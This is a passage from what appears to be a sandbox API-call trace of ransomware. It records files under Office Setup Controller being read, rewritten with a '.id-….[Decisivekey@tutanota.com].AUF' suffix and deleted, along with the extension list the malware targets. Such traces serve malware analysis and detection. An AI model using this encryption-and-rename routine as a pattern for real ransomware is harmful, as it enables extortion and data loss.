nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.835] WriteFile (in: hFile=0x208, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0210.835] SetEndOfFile (hFile=0x208) returned 1 [0210.836] CloseHandle (hObject=0x208) returned 1 [0210.836] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.836] SetEndOfFile (hFile=0x1e0) returned 1 [0210.837] CloseHandle (hObject=0x1e0) returned 1 [0210.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.837] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.xml")) returned 1 [0210.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0210.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0210.837] lstrlenW (lpString=".doc") returned 4 [0210.837] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.837] lstrlenW (lpString=".docx") returned 5 [0210.837] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0210.837] lstrlenW (lpString=".pdf") returned 4 [0210.837] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.837] lstrlenW (lpString=".xls") returned 4 [0210.837] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.837] lstrlenW (lpString=".xlsx") returned 5 [0210.837] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0210.837] lstrlenW (lpString=".ppt") returned 4 [0210.837] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0210.838] lstrlenW (lpString=".zip") returned 4 [0210.838] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.838] lstrlenW (lpString=".rar") returned 4 [0210.838] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.838] lstrlenW (lpString=".bz2") returned 4 [0210.838] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.838] lstrlenW (lpString=".7z") returned 3 [0210.838] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0210.838] lstrlenW (lpString=".dbf") returned 4 [0210.838] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0210.838] lstrlenW (lpString=".1cd") returned 4 [0210.838] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0210.838] lstrlenW (lpString=".jpg") returned 4 [0210.838] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0210.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0210.838] lstrlenW (lpString=".doc") returned 4 [0210.838] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.838] lstrlenW (lpString=".docx") returned 5 [0210.838] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0210.838] lstrlenW (lpString=".pdf") returned 4 [0210.838] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.838] lstrlenW (lpString=".xls") returned 4 [0210.838] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.838] lstrlenW (lpString=".xlsx") returned 5 [0210.838] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0210.838] lstrlenW (lpString=".ppt") returned 4 [0210.838] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0210.838] lstrlenW (lpString=".zip") returned 4 [0210.838] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.838] lstrlenW (lpString=".rar") returned 4 [0210.838] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.839] lstrlenW (lpString=".bz2") returned 4 [0210.839] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.839] lstrlenW (lpString=".7z") returned 3 [0210.839] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0210.839] lstrlenW (lpString=".dbf") returned 4 [0210.839] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0210.839] lstrlenW (lpString=".1cd") returned 4 [0210.839] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0210.839] lstrlenW (lpString=".jpg") returned 4 [0210.839] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.839] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0210.839] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0210.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0210.839] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1606) returned 1 [0210.839] CloseHandle (hObject=0x1e0) returned 1 [0210.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0210.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0210.840] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.840] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0210.848] GetLastError () returned 0x0 [0210.848] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x646, lpOverlapped=0x0) returned 1 [0210.857] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x650, lpOverlapped=0x0) returned 1 [0210.859] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.859] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0210.859] SetEndOfFile (hFile=0x1f8) returned 1 [0210.859] CloseHandle (hObject=0x1f8) returned 1 [0210.860] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.860] SetEndOfFile (hFile=0x1e0) returned 1 [0210.861] CloseHandle (hObject=0x1e0) returned 1 [0210.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.861] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1 [0210.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0210.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0210.861] lstrlenW (lpString=".doc") returned 4 [0210.861] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.861] lstrlenW (lpString=".docx") returned 5 [0210.861] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0210.861] lstrlenW (lpString=".pdf") returned 4 [0210.861] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.861] lstrlenW (lpString=".xls") returned 4 [0210.861] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.861] lstrlenW (lpString=".xlsx") returned 5 [0210.861] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0210.861] lstrlenW (lpString=".ppt") returned 4 [0210.861] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0210.861] lstrlenW (lpString=".zip") returned 4 [0210.861] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.861] lstrlenW (lpString=".rar") returned 4 [0210.861] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.861] lstrlenW (lpString=".bz2") returned 4 [0210.861] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.861] lstrlenW (lpString=".7z") returned 3 [0210.861] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0210.861] lstrlenW (lpString=".dbf") returned 4 [0210.861] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0210.862] lstrlenW (lpString=".1cd") returned 4 [0210.862] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0210.862] lstrlenW (lpString=".jpg") returned 4 [0210.862] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0210.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0210.862] lstrlenW (lpString=".doc") returned 4 [0210.862] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.862] lstrlenW (lpString=".docx") returned 5 [0210.862] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0210.862] lstrlenW (lpString=".pdf") returned 4 [0210.862] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.862] lstrlenW (lpString=".xls") returned 4 [0210.862] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.862] lstrlenW (lpString=".xlsx") returned 5 [0210.862] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0210.862] lstrlenW (lpString=".ppt") returned 4 [0210.862] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0210.862] lstrlenW (lpString=".zip") returned 4 [0210.862] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.862] lstrlenW (lpString=".rar") returned 4 [0210.862] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.862] lstrlenW (lpString=".bz2") returned 4 [0210.862] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.862] lstrlenW (lpString=".7z") returned 3 [0210.862] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0210.862] lstrlenW (lpString=".dbf") returned 4 [0210.862] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0210.862] lstrlenW (lpString=".1cd") returned 4 [0210.862] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108 [0210.862] lstrlenW (lpString=".jpg") returned 4 [0210.862] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.863] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0210.863] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0210.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0210.863] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=3186) returned 1 [0210.863] CloseHandle (hObject=0x1e0) returned 1 [0210.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0210.863] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0210.863] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.863] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0210.865] GetLastError () returned 0x0 [0210.865] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0xc72, lpOverlapped=0x0) returned 1 [0210.875] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0210.876] ReadFile (in: hFile=0x1e0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.876] WriteFile (in: hFile=0x1f8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0210.876] SetEndOfFile (hFile=0x1f8) returned 1 [0210.876] CloseHandle (hObject=0x1f8) returned 1 [0210.877] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.877] SetEndOfFile (hFile=0x1e0) returned 1 [0210.877] CloseHandle (hObject=0x1e0) returned 1 [0210.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.877] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0210.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0210.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0210.878] lstrlenW (lpString=".doc") returned 4 [0210.878] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.878] lstrlenW (lpString=".docx") returned 5 [0210.878] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0210.878] lstrlenW (lpString=".pdf") returned 4 [0210.878] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.878] lstrlenW (lpString=".xls") returned 4 [0210.878] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.878] lstrlenW (lpString=".xlsx") returned 5 [0210.879] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0210.879] lstrlenW (lpString=".ppt") returned 4 [0210.879] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0210.879] lstrlenW (lpString=".zip") returned 4 [0210.879] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.879] lstrlenW (lpString=".rar") returned 4 [0210.879] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.879] lstrlenW (lpString=".bz2") returned 4 [0210.879] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.879] lstrlenW (lpString=".7z") returned 3 [0210.879] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0210.879] lstrlenW (lpString=".dbf") returned 4 [0210.879] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0210.879] lstrlenW (lpString=".1cd") returned 4 [0210.879] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0210.879] lstrlenW (lpString=".jpg") returned 4 [0210.879] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0210.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0210.879] lstrlenW (lpString=".doc") returned 4 [0210.879] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.879] lstrlenW (lpString=".docx") returned 5 [0210.879] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0210.879] lstrlenW (lpString=".pdf") returned 4 [0210.879] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.879] lstrlenW (lpString=".xls") returned 4 [0210.879] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.879] lstrlenW (lpString=".xlsx") returned 5 [0210.879] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0210.879] lstrlenW (lpString=".ppt") returned 4 [0210.879] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0210.879] lstrlenW (lpString=".zip") returned 4 [0210.879] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.879] lstrlenW (lpString=".rar") returned 4 [0210.879] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.879] lstrlenW (lpString=".bz2") returned 4 [0210.879] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.879] lstrlenW (lpString=".7z") returned 3 [0210.879] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0210.879] lstrlenW (lpString=".dbf") returned 4 [0210.879] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0210.879] lstrlenW (lpString=".1cd") returned 4 [0210.880] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0210.880] lstrlenW (lpString=".jpg") returned 4 [0210.880] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.880] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0210.880] lstrlenW (lpString="PowerPointMUI.XML") returned 17 [0210.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0210.880] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=1450) returned 1 [0210.880] CloseHandle (hObject=0x1e0) returned 1 [0210.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml")) returned 0x20 [0210.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), 